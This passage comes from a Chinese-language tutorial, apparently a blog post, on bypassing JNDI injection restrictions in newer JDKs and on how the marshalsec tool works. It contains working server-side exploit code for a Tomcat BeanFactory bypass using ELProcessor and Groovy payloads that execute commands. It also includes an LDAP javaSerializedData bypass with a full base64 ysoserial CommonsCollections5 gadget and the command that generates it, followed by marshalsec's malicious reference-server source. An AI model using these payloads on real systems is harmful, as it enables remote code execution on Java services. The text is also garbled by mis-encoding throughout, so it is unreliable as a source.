factory = getObjectFactoryFromReference(ref, f); //從CLASSPATH中加載factoryName對(duì)應(yīng)的類,如果沒找到就從codebase中加載 if (factory != null) {return factory.getObjectInstance(ref, name, nameCtx, environment); }//getObjectFactoryFromReference的核心三步: clas = helper.loadClass(factoryName); // 從CLASSPATH中加載factoryName對(duì)應(yīng)的類 clas = helper.loadClass(factoryName, codebase); // 如果沒找到就從codebase中加載 return (clas != null) ? (ObjectFactory) clas.newInstance() : null; //類加載成功就進(jìn)行實(shí)例化,并將其轉(zhuǎn)換成ObjectFactory類型也就是如果能從本地找到對(duì)應(yīng)的類,就加載類進(jìn)行實(shí)例化,轉(zhuǎn)換成ObjectFactory類型,然后調(diào)用該類的getObjectInstance方法。
Tomcat BeanFactory繞過
有人找到了Tomcat中的org.apache.naming.factory.BeanFactory類,該類實(shí)現(xiàn)了ObjectFactory接口,并且具備getObjectInstance方法。具體看一下getObjectInstance方法的源碼:
public class BeanFactory implements ObjectFactory{public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {if (obj instanceof ResourceRef) { //obj需要為ResourceRef類型 --> (1)要求為ResourceRef類型try {Reference ref = (Reference)obj;String beanClassName = ref.getClassName();Class<?> beanClass = null;ClassLoader tcl = Thread.currentThread().getContextClassLoader();if (tcl != null) {try {beanClass = tcl.loadClass(beanClassName); //根據(jù)className加載類}...Object bean = beanClass.getConstructor().newInstance(); //構(gòu)造方法創(chuàng)建對(duì)象 -->(2)要求類中有無參構(gòu)造方法RefAddr ra = ref.get("forceString"); //獲取forceString的內(nèi)容if (ra != null) {value = (String)ra.getContent();Class<?>[] paramTypes = new Class[]{String.class}; //參數(shù)類型,String數(shù)組型String[] arr$ = value.split(",");for(int i$ = 0; i$ < i; ++i$) { //對(duì)forceString內(nèi)容進(jìn)行遍歷String param = arr$[i$];param = param.trim();int index = param.indexOf(61); // 根據(jù)=號(hào)截取forceString --> (3)如果沒有setter方法,需要將方法名放到等號(hào)后,如x=eval,調(diào)用eval方法if (index >= 0) {propName = param.substring(index + 1).trim(); //=號(hào)后的內(nèi)容為propNameparam = param.substring(0, index).trim(); //=號(hào)前的內(nèi)容為param}forced.put(param, beanClass.getMethod(propName, paramTypes)); // 根據(jù)方法名、參數(shù)類型獲取方法。param是即將傳入方法的參數(shù)}value = (String)ra.getContent(); //從ra中獲取方法值Method method = (Method)forced.get(propName);if (method != null) {valueArray[0] = value;try {method.invoke(bean, valueArray); //調(diào)用方法}} }BeanFactory相當(dāng)于Tomcat本地可以利用的類,但是想要執(zhí)行命令還需要找一個(gè)配合的類。因?yàn)锽eanFactory只提供反射調(diào)用。具體調(diào)用哪個(gè)類需要根據(jù)getObjectInstance的邏輯來構(gòu)造。之前的文章《Java WebShell1—Java 命令執(zhí)行》提過ELProcessor命令執(zhí)行,該類具有無參構(gòu)造方法。類是從Reference的結(jié)構(gòu)中讀取的,那么想要利用ELProcessor配合BeanFactory,就需要將結(jié)構(gòu)賦值成如下的形式。
Reference[className="javax.el.ELProcessor", addrs={...}, classFactory="org.apache.naming.factory.BeanFactory", classFactoryLocation=null],最終構(gòu)造的Server端代碼如下,此時(shí)Client端lookup查詢Evil類即可觸發(fā):
ResourceRef ref=new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString","x=eval")); ref.add(new StringRefAddr("x","{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','/System/Applications/Calculator.app']).start()\")}"));ReferenceWrapper referenceWrapper=new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Evil",referenceWrapper);還有利用Groovy進(jìn)行命令執(zhí)行的方式。
Registry registry= LocateRegistry.createRegistry(1099); ResourceRef ref=new ResourceRef("groovy.lang.GroovyClassLoader",null,"","",true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString","x=parseClass")); String script = "@groovy.transform.ASTTest(value={\n" +" assert java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\")\n" +"})\n" +"def x\n"; ref.add(new StringRefAddr("x",script));ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Evil", referenceWrapper); }更多高版本JDK下JNDI 漏洞的利用方法,請(qǐng)參考:
探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖
LDAP bypass
LDAP發(fā)送實(shí)體時(shí),可以為存儲(chǔ)的Java對(duì)象指定多種屬性,具體如下:
0 = "objectClass"1 = "javaSerializedData"2 = "javaClassName"3 = "javaFactory"4 = "javaCodeBase"5 = "javaReferenceAddress"6 = "javaClassNames"7 = "javaRemoteLocation"JNDI從codebase拉取對(duì)象時(shí),服務(wù)器的屬性設(shè)置如下,但這種方法被高版本禁止了。
// JNDI Reference e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef());所以繞過思路是從javaSerializedData屬性入手,一旦該屬性值不為空,客戶端的decodeObject方法就會(huì)對(duì)這個(gè)屬性的值進(jìn)行反序列化。如果此時(shí)被攻擊的系統(tǒng)中存在CommonsCollections等,就可以產(chǎn)生攻擊。具體設(shè)置如下,base64字符串可以通過java -jar ysoserial.jar CommonsCollection5 "open -a Calculator" | base64"來生成:
// 序列化對(duì)象 String base64String="rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACV0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEm9wZW4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg="; e.addAttribute("javaSerializedData", Base64.decode(base64String));JNDI+LDAP的調(diào)用棧如下:
javax.naming.InitialContext #lookupcom.sun.jndi.url.ldap.ldapURLContext #lookupcom.sun.jndi.toolkit.url.GenericURLContext #lookupcom.sun.jndi.toolkit.ctx.PartialCompositeContext #lookupcom.sun.jndi.toolkit.ctx.ComponentContext #p_lookupcom.sun.jndi.ldap.LdapCtx #c_lookupcom.sun.jndi.ldap #decodeObjectcom.sun.jndi.ldap #deserializeObjectdecodeObject這步中,如果javaSerializedData屬性的值不為空,就對(duì)其屬性值進(jìn)行反序列化deserializeObject,該方法就是原生反序列化的過程((ObjectInputStream)var20).readObject()。
static Object decodeObject(Attributes var0) throws NamingException {String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));try {Attribute var1;if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { // javaSerializedData的值不為空ClassLoader var3 = helper.getURLClassLoader(var2);return deserializeObject((byte[])((byte[])var1.get()), var3);} ... }高版本限制com.sun.jndi.ldap.VersionHelper12獲取URLClassLoader時(shí)會(huì)判斷com.sun.jndi.ldap.object.trustURLCodebase是否為true。
final class VersionHelper12 extends VersionHelper {private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase";private static final String trustURLCodebase = (String)AccessController.doPrivileged(new PrivilegedAction<String>() {public String run() {return System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");}});ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {ClassLoader var2 = this.getContextClassLoader();return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);} }七、JNDI注入工具分析
marshalsec
所謂的JNDI工具就是能幫助我們起一個(gè)JNDI服務(wù),例如上面Demo中的java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://ip:1389/\#Exp_fast,看一下這部分的具體實(shí)現(xiàn)。
RMI/LDAP服務(wù)用法,第一個(gè)參數(shù)是<codebase>#<class>,第二個(gè)參數(shù)是port(此參數(shù)可選)
java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]RMIRefServer
先看看主函數(shù),核心方法就兩步,一是new RMIRefServer將參數(shù)(port,url)傳入構(gòu)造函數(shù),二是調(diào)用run方法,開啟JRMP listener。
RMIRefServer c = new RMIRefServer(port, new URL(args[0])); // args[0]為<codebase>#<class> c.run();構(gòu)造方法:
public RMIRefServer(int port, URL classpathUrl) throws IOException {this.port = port;this.classpathUrl = classpathUrl;this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); }在解析run方法之前,先說說構(gòu)造方法中用到的ServerSocketFactory所代表的——Socket編程
Java Socket
應(yīng)用程序建立遠(yuǎn)程連接是通過Socket(套接字)來實(shí)現(xiàn)的,編程語言對(duì)操作系統(tǒng)功能進(jìn)行封裝,提供Socket類,每個(gè)應(yīng)用程序?qū)?yīng)到不同的Socket。一個(gè)Socket由IP地址和端口號(hào)(0-65535)組成。客戶端和服務(wù)器(兩臺(tái)主機(jī),一方發(fā)起,一方監(jiān)聽)都通過對(duì)Socket對(duì)象的寫入和讀取來進(jìn)行通信,過程大致如下:
// 服務(wù)器端public static void main(String[] args) throws Exception {int port = 1234;ServerSocket server = new ServerSocket(port); // 服務(wù)器實(shí)例化一個(gè)ServerSocket對(duì)象Socket socket = server.accept(); // 服務(wù)器調(diào)用accept方法開始等待請(qǐng)求InputStream inputStream = socket.getInputStream(); //從socket中獲取輸入流byte[] bytes = new byte[1024];int len;StringBuilder sb = new StringBuilder();while ((len = inputStream.read(bytes)) != -1) {sb.append(new String(bytes, 0, len,"UTF-8")); //將流轉(zhuǎn)換成字符串}System.out.println("get message from client: " + sb);inputStream.close();socket.close();server.close();}// 客戶端public static void main(String args[]) throws Exception {String host = "127.0.0.1"; int port = 1234;Socket socket = new Socket(host, port); // 客戶端實(shí)例化一個(gè)Socket對(duì)象,連接服務(wù)器指定端口OutputStream outputStream = socket.getOutputStream();String message="Hello";socket.getOutputStream().write(message.getBytes("UTF-8"));outputStream.close();socket.close();}如果沒有客戶端連接,accept方法就會(huì)一直阻塞并保持等待。如果有多個(gè)客戶端同時(shí)連接,就會(huì)進(jìn)入到ServerSocket的隊(duì)列一個(gè)一個(gè)進(jìn)行處理。不斷調(diào)用accept就可以獲取新的連接。構(gòu)造方法中的ss屬性就類似new ServerSocket(port);。
此時(shí)再看run方法,調(diào)用ss.accept方法開始等待請(qǐng)求,一旦接受到請(qǐng)求,獲取此套接字連接的端點(diǎn)的地址,然后從socket中獲取輸入流:
public void run() {try {while(!this.exit && (s = this.ss.accept()) != null) {try {s.setSoTimeout(5000); InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress();System.err.println("Have connection from " + remote);InputStream is = s.getInputStream();InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);// InputSteam.mark(int readlimit),在輸入流中標(biāo)記當(dāng)前位置,后續(xù)調(diào)用reset方法重新將流定位于最后標(biāo)記的位置//參數(shù)readlimit是標(biāo)記位置變?yōu)榉欠〝?shù)據(jù)前允許讀的字節(jié)數(shù),一旦超過這個(gè)設(shè)置,就認(rèn)為mark標(biāo)記失效, 不能再讀以前的數(shù)據(jù)了((InputStream)bufIn).mark(4);DataInputStream in = new DataInputStream((InputStream)bufIn);Throwable var6 = null;try {// 讀取rmi的magic 0x4a524d49(十進(jìn)制為1246907721)、version(默認(rèn)為2)int magic = in.readInt();short version = in.readShort();if (magic == 1246907721 && version == 2) { // 判斷是RMI協(xié)議OutputStream sockOut = s.getOutputStream();BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);DataOutputStream out = new DataOutputStream(bufOut);Throwable var12 = null;try {byte protocol = in.readByte();// protocol有三種,StreamProtocol、SingleOpProtocol、MultiplexProtocol// 分別對(duì)應(yīng)0x4b、0x4c、0x4d,對(duì)應(yīng)的是十進(jìn)制為75、76、77switch(protocol) {case 75:out.writeByte(78); //78為0x4e,代表ProtocolAckif (remote.getHostName() != null) {out.writeUTF(remote.getHostName());} else {out.writeUTF(remote.getAddress().toString());}out.writeInt(remote.getPort());out.flush();in.readUTF();in.readInt();case 76:this.doMessage(s, in, out);bufOut.flush();out.flush();break;case 77:default:System.err.println("Unsupported protocol");s.close();}} ... }如果是SingleOpProtocol,就調(diào)用doMessage:
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {System.err.println("Reading message...");int op = in.read();switch(op) {case 80: // 0x50 -> Call this.doCall(in, out);break;case 81: // 0x51 -> Returncase 83: // 0x53 -> PingAckcase 82: // 0x52 -> Pingout.writeByte(83);break;case 84: // 0x54 -> DGCAckUID.read(in);}... }doCall:
ObjID read = ObjID.read(ois); // REGISTRY_ID = 0 | ACTIVATOR_ID = 1| DGC_ID = 2 if (read.hashCode() == 2) {handleDGC(ois); } else if (read.hashCode() == 0 && this.handleRMI(ois, out)) {this.hadConnection = true;synchronized(this.waitLock) {this.waitLock.notifyAll();return; }handleRMI是JNDI Reference的核心,在上面RMI bypass中提到,遠(yuǎn)程RMI獲取Remote對(duì)象時(shí)需要被ReferenceWrapper包裝。handleRMI的功能就是完成ReferenceWrapper的構(gòu)造。RMI源碼解析的文章中也提到過如果需要序列化遠(yuǎn)程對(duì)象或包含對(duì)遠(yuǎn)程對(duì)象的引用的對(duì)象,則必須使用MarshalOutputStream,它擴(kuò)展自O(shè)bjectOutputStream,根據(jù)傳入的protocol version來生成流。
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {int method = ois.readInt();ois.readLong();if (method != 2) {return false;} else {String object = (String)ois.readObject();System.err.println("Is RMI.lookup call for " + object + " " + method);out.writeByte(81);ObjectOutputStream oos = new RMIRefServer.MarshalOutputStream(out, this.classpathUrl);Throwable var6 = null;try {oos.writeByte(1);(new UID()).write(oos);System.err.println(String.format("Sending remote classloading stub targeting %s", new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));ReferenceWrapper rw = (ReferenceWrapper)Reflections.createWithoutConstructor(ReferenceWrapper.class); // 創(chuàng)建ReferenceWrapperReflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString())); // 創(chuàng)建ReferenceField refF = RemoteObject.class.getDeclaredField("ref");refF.setAccessible(true);refF.set(rw, new UnicastServerRef(12345));oos.writeObject(rw);oos.flush();out.flush();} }LDAPRefServer
同樣先看一下main方法:
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[]{"dc=example,dc=com"}); // 指定用于目錄服務(wù)器的監(jiān)聽器配置,此處傳入監(jiān)聽端口 config.setListenerConfigs(new InMemoryListenerConfig[]{new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault())}); // 添加攔截器,用于在內(nèi)存目錄服務(wù)器處理請(qǐng)求之前轉(zhuǎn)換請(qǐng)求 config.addInMemoryOperationInterceptor(new LDAPRefServer.OperationInterceptor(new URL(args[0]))); // 創(chuàng)建LDAP服務(wù)器實(shí)例 InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); // 啟動(dòng)服務(wù)器,接收客戶端連接 ds.startListening();攔截器的實(shí)現(xiàn)主要是發(fā)送LDAP Reference,核心在于設(shè)置Entry的屬性。
private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor(URL cb) { this.codebase = cb;}public void processSearchResult(InMemoryInterceptedSearchResult result) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base); //創(chuàng)建Entrythis.sendResult(result, base, e);}protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf(35);if (refPos > 0) {cbstring = cbstring.substring(0, refPos);}// 設(shè)置屬性為JNDI Reference,高版本繞過此處還應(yīng)該加入javaSerializedData選項(xiàng)。e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference");e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}總結(jié)
以上是生活随笔為你收集整理的Java反序列化和JNDI注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 移动端微信、QQ、浏览器调用qq临时会话
- 下一篇: PCL XL error Subsy